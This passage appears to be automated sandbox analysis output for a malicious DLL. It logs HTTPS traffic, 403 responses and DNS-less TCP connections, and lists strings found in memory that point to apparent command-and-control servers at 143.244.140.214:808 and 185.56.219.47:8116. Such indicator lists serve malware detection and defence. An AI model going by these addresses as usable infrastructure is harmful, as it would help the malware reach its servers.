Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:01 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:07 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:56 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:45:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:01 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:56 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:46:56 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:34 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:38 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:42 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:51 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:55 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:47:59 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:48:01 GMTContent-Type: text/plain; charset=utf-8Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214

Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F8008506.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000004.00000003.393252545.000000000577A000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?05d49d65b62de
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.575651265.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.679541732.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.778016005.000000000099D000.00000004.00000020.sdmp	String found in binary or memory: https://143.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.618146216.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/%
Source: loaddll32.exe, 00000000.00000003.525073328.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/(
Source: loaddll32.exe, 00000000.00000003.679541732.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.660175642.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/:
Source: loaddll32.exe, 00000000.00000003.465711535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/My
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/X
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.733634731.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/em32
Source: loaddll32.exe, 00000000.00000003.643705364.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/frthe.computer
Source: loaddll32.exe, 00000000.00000003.407113242.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/g_
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/h
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.525073328.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.643705364.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.465711535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/k
Source: loaddll32.exe, 00000000.00000003.708708874.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l
Source: loaddll32.exe, 00000000.00000003.583869390.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l3
Source: loaddll32.exe, 00000000.00000003.708708874.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/la
Source: loaddll32.exe, 00000000.00000003.618146216.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/ll
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.708708874.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.668641353.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.700253725.000000000099D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.660175642.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/oft
Source: rundll32.exe, 00000004.00000002.814827994.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://145.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/
Source: loaddll32.exe, 00000000.00000003.408320387.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/Wl
Source: rundll32.exe, 00000004.00000002.785394155.00000000035BD000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.652034067.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/(
Source: loaddll32.exe, 00000000.00000003.465711535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/0
Source: loaddll32.exe, 00000000.00000003.457343535.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/2
Source: loaddll32.exe, 00000000.00000003.733634731.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4&b
Source: loaddll32.exe, 00000000.00000003.668641353.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4.140.214:808/h
Source: loaddll32.exe, 00000000.00000003.679541732.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.708708874.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4h
Source: loaddll32.exe, 00000000.00000003.700253725.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/Ps%
Source: loaddll32.exe, 00000000.00000003.583869390.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/Ub
Source: loaddll32.exe, 00000000.00000003.679541732.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/b
Source: loaddll32.exe, 00000000.00000003.600285042.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/fW
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/h
Source: loaddll32.exe, 00000000.00000003.408320387.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ll
Source: loaddll32.exe, 00000000.00000003.643705364.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ll8b
Source: loaddll32.exe, 00000000.00000003.609859133.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/llUb
Source: loaddll32.exe, 00000000.00000003.725338491.000000000099D000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/oft
